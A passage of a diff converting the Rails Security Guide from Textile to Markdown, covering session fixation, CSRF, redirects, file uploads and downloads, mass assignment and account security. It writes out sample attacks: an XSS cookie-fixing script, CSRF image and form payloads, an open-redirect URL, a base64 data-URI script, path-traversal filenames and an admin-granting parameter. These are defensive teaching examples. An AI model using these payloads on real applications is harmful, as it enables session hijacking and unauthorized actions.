document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
</script>+. Read more about XSS and injection later on. -# The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id. -# As the new trap session is unused, the web application will require the user to authenticate. -# From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack. +* The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image). +* He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive. +* Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on. +* The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id. +* As the new trap session is unused, the web application will require the user to authenticate. +* From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack. -h4. Session Fixation – Countermeasures +### Session Fixation – Countermeasures TIP: _One line of code will protect you from session fixation._ -The most effective countermeasure is to _(highlight)issue a new session identifier_ and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails: +The most effective countermeasure is to _issue a new session identifier_ and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails: -<ruby> +```ruby reset_session -</ruby> +``` -If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, _(highlight)you have to transfer them to the new session_. +If you use the popular RestfulAuthentication plugin for user management, add reset\_session to the SessionsController#create action. Note that this removes any value from the session, _you have to transfer them to the new session_. -Another countermeasure is to _(highlight)save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _(highlight)These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way. +Another countermeasure is to _save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way. -h4. Session Expiry +### Session Expiry NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._ -One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _(highlight)expire sessions in a database table_. Call +Session.sweep("20 minutes")+ to expire sessions that were used longer than 20 minutes ago. +One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _expire sessions in a database table_. Call `Session.sweep("20 minutes")` to expire sessions that were used longer than 20 minutes ago. -<ruby> +```ruby class Session < ActiveRecord::Base def self.sweep(time = 1.hour) if time.is_a?(String) @@ -161,25 +164,26 @@ class Session < ActiveRecord::Base delete_all "updated_at < '#{time.ago.to_s(:db)}'" end end -</ruby> +``` The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above: -<ruby> +```ruby delete_all "updated_at < '#{time.ago.to_s(:db)}' OR created_at < '#{2.days.ago.to_s(:db)}'" -</ruby> +``` -h3. Cross-Site Request Forgery (CSRF) +Cross-Site Request Forgery (CSRF) +--------------------------------- This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands. -!images/csrf.png! + In the <a href="#sessions">session chapter</a> you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example: * Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file. -* +<img src="http://www.webapp.com/project/1/destroy">+ +* `<img src="http://www.webapp.com/project/1/destroy">` * Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago. * By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id. * The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image. @@ -187,29 +191,29 @@ In the <a href="#sessions">session chapter</a> you have learned that most Rails It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email. -CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _(highlight)CSRF is an important security issue_. +CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _CSRF is an important security issue_. -h4. CSRF Countermeasures +### CSRF Countermeasures NOTE: _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._ The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST: -*Use GET if:* +**Use GET if:** -* The interaction is more _(highlight)like a question_ (i.e., it is a safe operation such as a query, read operation, or lookup). +* The interaction is more _like a question_ (i.e., it is a safe operation such as a query, read operation, or lookup). -*Use POST if:* +**Use POST if:** -* The interaction is more _(highlight)like an order_, or -* The interaction _(highlight)changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or -* The user is _(highlight)held accountable for the results_ of the interaction. +* The interaction is more _like an order_, or +* The interaction _changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or +* The user is _held accountable for the results_ of the interaction. -If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden +_method+ field to handle this barrier. +If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden `_method` field to handle this barrier. -_(highlight)POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request. +_POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request. -<html> +```html <a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); f.style.display = 'none'; @@ -218,76 +222,77 @@ _(highlight)POST requests can be sent automatically, too_. Here is an example fo f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless survey</a> -</html> +``` Or the attacker places the code into the onmouseover event handler of an image: -<html> +```html <img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." /> -</html> +``` -There are many other possibilities, including Ajax to attack the victim in the background.
The _(highlight)solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller: +There are many other possibilities, including Ajax to attack the victim in the background.
The _solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller: -<ruby> +```ruby protect_from_forgery :secret => "123456789012345678901234567890..." -</ruby> +``` -This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. If the security token doesn't match what was expected, the session will be reset. *Note:* In Rails versions prior to 3.0.4, this raised an <tt>ActionController::InvalidAuthenticityToken</tt> error. +This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. If the security token doesn't match what was expected, the session will be reset. **Note:** In Rails versions prior to 3.0.4, this raised an `ActionController::InvalidAuthenticityToken` error. -It is common to use persistent cookies to store user information, with +cookies.permanent+ for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself: +It is common to use persistent cookies to store user information, with `cookies.permanent` for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself: -<ruby> +```ruby def handle_unverified_request super sign_out_user # Example method that will destroy the user cookies. end -</ruby> +``` -The above method can be placed in the +ApplicationController+ and will be called when a CSRF token is not present on a non-GET request. +The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present on a non-GET request. -Note that _(highlight)cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later. +Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later. -h3. Redirection and Files +Redirection and Files +--------------------- Another class of security vulnerabilities surrounds the use of redirection and files in web applications. -h4. Redirection +### Redirection WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._ Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action: -<ruby> +```ruby def legacy redirect_to(params.update(:action=>'main')) end -</ruby> +``` This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL: -<plain> +``` http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com -</plain> +``` -If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _(highlight)include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _(highlight)And if you redirect to an URL, check it with a whitelist or a regular expression_. +If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _And if you redirect to an URL, check it with a whitelist or a regular expression_. -h5. Self-contained XSS +#### Self-contained XSS Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images: -+data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K+ +`data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K` -This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _(highlight)do not allow the user to supply (parts of) the URL to be redirected to_. +This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _do not allow the user to supply (parts of) the URL to be redirected to_. -h4. File Uploads +### File Uploads NOTE: _Make sure file uploads don't overwrite important files, and process media files asynchronously._ -Many web applications allow users to upload files. _(highlight)File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user. +Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user. -When filtering user input file names, _(highlight)don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _(highlight)checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the "attachment_fu plugin":https://github.com/technoweenie/attachment_fu/tree/master: +When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master:) -<ruby> +```ruby def sanitize_filename(filename) filename.strip.tap do |name| # NOTE: File.basename doesn't work right with Windows paths on Unix @@ -298,104 +303,106 @@ def sanitize_filename(filename) name.gsub! /[^\w\.\-]/, '_' end end -</ruby> +``` -A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _(highlight)vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server. +A significant disadvantage of synchronous processing of file uploads (as the attachment\_fu plugin may do with images), is its _vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server. -The solution to this is best to _(highlight)process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background. +The solution to this is best to _process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background. -h4. Executable Code in File Uploads +### Executable Code in File Uploads WARNING: _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._ The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file. -_(highlight)If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards. +_If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards. -h4. File Downloads +### File Downloads NOTE: _Make sure users cannot download arbitrary files._ Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded: -<ruby> +```ruby send_file('/var/www/uploads/' + params[:filename]) -</ruby> +``` -Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _(highlight)check that the requested file is in the expected directory_: +Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_: -<ruby> +```ruby basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files')) filename = File.expand_path(File.join(basename, @file.public_filename)) raise if basename != File.expand_path(File.join(File.dirname(filename), '../../../')) send_file filename, :disposition => 'inline' -</ruby> +``` Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way. -h3. Intranet and Admin Security +Intranet and Admin Security +--------------------------- Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world. In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
-*XSS* If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS. +**XSS** If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS. Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer. -Refer to the Injection section for countermeasures against XSS. It is _(highlight)recommended to use the SafeErb plugin_ also in an Intranet or administration interface. +Refer to the Injection section for countermeasures against XSS. It is _recommended to use the SafeErb plugin_ also in an Intranet or administration interface. -*CSRF* Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface. +**CSRF** Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface. -A real-world example is a "router reconfiguration by CSRF":http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen. +A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen. Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination. -For _(highlight)countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_. +For _countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_. -h4. Additional Precautions +### Additional Precautions The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this: -* It is very important to _(highlight)think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _(highlight)introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _(highlight)special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _(highlight)special password for very serious actions_? +* It is very important to _think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _special password for very serious actions_? -* Does the admin really have to access the interface from everywhere in the world? Think about _(highlight)limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though. +* Does the admin really have to access the interface from everywhere in the world? Think about _limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though. -* _(highlight)Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa. +* _Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa. -h3. Mass Assignment +Mass Assignment +--------------- -WARNING: _Without any precautions +Model.new(params[:model]+) allows attackers to set any database column's value._ +WARNING: _Without any precautions `Model.new(params[:model]`) allows attackers to set any database column's value._ -The mass-assignment feature may become a problem, as it allows an attacker to set any model's attributes by manipulating the hash passed to a model's +new()+ method: +The mass-assignment feature may become a problem, as it allows an attacker to set any model's attributes by manipulating the hash passed to a model's `new()` method: -<ruby> +```ruby def signup params[:user] # => {:name => “ow3ned”, :admin => true} @user = User.new(params[:user]) end -</ruby> +``` -Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the +new+ method, or +assign_attributes=+ a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this: +Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the `new` method, or `assign_attributes=` a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this: -<pre> +``` http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1 -</pre> +``` This will set the following parameters in the controller: -<ruby> +```ruby params[:user] # => {:name => “ow3ned”, :admin => true} -</ruby> +``` So if you create a new user using mass-assignment, it may be too easy to become an administrator. -Note that this vulnerability is not restricted to database columns. Any setter method, unless explicitly protected, is accessible via the <tt>attributes=</tt> method. In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in Rails 2.3. The +accepts_nested_attributes_for+ declaration provides us the ability to extend mass assignment to model associations (+has_many+, +has_one+, +has_and_belongs_to_many+). For example: +Note that this vulnerability is not restricted to database columns. Any setter method, unless explicitly protected, is accessible via the `attributes=` method. In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in Rails 2.3. The `accepts_nested_attributes_for` declaration provides us the ability to extend mass assignment to model associations (`has_many`, `has_one`, `has_and_belongs_to_many`). For example: -<ruby> +```ruby class Person < ActiveRecord::Base has_many :children @@ -405,44 +412,44 @@ Note that this vulnerability is not restricted to database columns. Any setter m class Child < ActiveRecord::Base belongs_to :person end -</ruby> +``` As a result, the vulnerability is extended beyond simply exposing column assignment, allowing attackers the ability to create entirely new records in referenced tables (children in this case). -h4. Countermeasures +### Countermeasures -To avoid this, Rails provides two class methods in your Active Record class to control access to your attributes. The +attr_protected+ method takes a list of attributes that will not be accessible for mass-assignment. For example: +To avoid this, Rails provides two class methods in your Active Record class to control access to your attributes. The `attr_protected` method takes a list of attributes that will not be accessible for mass-assignment. For example: -<ruby> +```ruby attr_protected :admin -</ruby> +``` -+attr_protected+ also optionally takes a role option using :as which allows you to define multiple mass-assignment groupings. If no role is defined then attributes will be added to the :default role. +`attr_protected` also optionally takes a role option using :as which allows you to define multiple mass-assignment groupings. If no role is defined then attributes will be added to the :default role. -<ruby> +```ruby attr_protected :last_login, :as => :admin -</ruby> +``` -A much better way, because it follows the whitelist-principle, is the +attr_accessible+ method. It is the exact opposite of +attr_protected+, because _(highlight)it takes a list of attributes that will be accessible_. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example: +A much better way, because it follows the whitelist-principle, is the `attr_accessible` method. It is the exact opposite of `attr_protected`, because _it takes a list of attributes that will be accessible_. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example: -<ruby> +```ruby attr_accessible :name attr_accessible :name, :is_admin, :as => :admin -</ruby> +``` If you want to set a protected attribute, you will to have to assign it individually: -<ruby> +```ruby params[:user] # => {:name => "ow3ned", :admin => true} @user = User.new(params[:user]) @user.admin # => false # not mass-assigned @user.admin = true @user.admin # => true -</ruby> +``` -When assigning attributes in Active Record using +attributes=+ the :default role will be used. To assign attributes using different roles you should use +assign_attributes+ which accepts an optional :as options parameter. If no :as option is provided then the :default role will be used. You can also bypass mass-assignment security by using the +:without_protection+ option. Here is an example: +When assigning attributes in Active Record using `attributes=` the :default role will be used. To assign attributes using different roles you should use `assign_attributes` which accepts an optional :as options parameter. If no :as option is provided then the :default role will be used. You can also bypass mass-assignment security by using the `:without_protection` option. Here is an example: -<ruby> +```ruby @user = User.new @user.assign_attributes({ :name => 'Josh', :is_admin => true }) @@ -456,11 +463,11 @@ When assigning attributes in Active Record using +attributes=+ the :default role @user.assign_attributes({ :name => 'Josh', :is_admin => true }, :without_protection => true) @user.name # => Josh @user.is_admin # => true -</ruby> +``` -In a similar way, +new+, +create+, <tt>create!</tt>, +update_attributes+, and +update_attributes!+ methods all respect mass-assignment security and accept either +:as+ or +:without_protection+ options. For example: +In a similar way, `new`, `create`, `create!`, `update_attributes`, and `update_attributes!` methods all respect mass-assignment security and accept either `:as` or `:without_protection` options. For example: -<ruby> +```ruby @user = User.new({ :name => 'Sebastian', :is_admin => true }, :as => :admin) @user.name # => Sebastian @user.is_admin # => true @@ -468,44 +475,45 @@ In a similar way, +new+, +create+, <tt>create!</tt>, +update_attributes+, and +u @user = User.create({ :name => 'Sebastian', :is_admin => true }, :without_protection => true) @user.name # => Sebastian @user.is_admin # => true -</ruby> +``` A more paranoid technique to protect your whole project would be to enforce that all models define their accessible attributes. This can be easily achieved with a very simple application config option of: -<ruby> +```ruby config.active_record.whitelist_attributes = true -</ruby> +``` -This will create an empty whitelist of attributes available for mass-assignment for all models in your app. As such, your models will need to explicitly whitelist or blacklist accessible parameters by using an +attr_accessible+ or +attr_protected+ declaration. This technique is best applied at the start of a new project. However, for an existing project with a thorough set of functional tests, it should be straightforward and relatively quick to use this application config option; run your tests, and expose each attribute (via +attr_accessible+ or +attr_protected+) as dictated by your failing tests. +This will create an empty whitelist of attributes available for mass-assignment for all models in your app. As such, your models will need to explicitly whitelist or blacklist accessible parameters by using an `attr_accessible` or `attr_protected` declaration. This technique is best applied at the start of a new project. However, for an existing project with a thorough set of functional tests, it should be straightforward and relatively quick to use this application config option; run your tests, and expose each attribute (via `attr_accessible` or `attr_protected`) as dictated by your failing tests. -h3. User Management +User Management +--------------- NOTE: _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._ -There are a number of authentication plug-ins for Rails available. Good ones, such as the popular "devise":https://github.com/plataformatec/devise and "authlogic":https://github.com/binarylogic/authlogic, store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in +has_secure_password+ method which has similar features. +There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features. Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator): -<plain> +``` http://localhost:3006/user/activate http://localhost:3006/user/activate?id= -</plain> +``` This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action: -<ruby> +```ruby User.find_by_activation_code(params[:id]) -</ruby> +``` If the parameter was nil, the resulting SQL query will be -<sql> +```sql SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1 -</sql> +``` -And thus it found the first user in the database, returned it and logged him in. You can find out more about it in "my blog post":http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/. _(highlight)It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this. +And thus it found the first user in the database, returned it and logged him in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this. -h4. Brute-Forcing Accounts +### Brute-Forcing Accounts NOTE: _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._ @@ -515,29 +523,29 @@ Because of this, most web applications will display a generic error message “u However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts. -In order to mitigate such attacks, _(highlight)display a generic error message on forgot-password pages, too_. Moreover, you can _(highlight)require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack. +In order to mitigate such attacks, _display a generic error message on forgot-password pages, too_. Moreover, you can _require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack. -h4. Account Hijacking +### Account Hijacking Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?. -h5. Passwords +#### Passwords -Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _(highlight)make change-password forms safe against CSRF_, of course. And _(highlight)require the user to enter the old password when changing it_. +Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_. -h5. E-Mail +#### E-Mail -However, the attacker may also take over the account by changing the 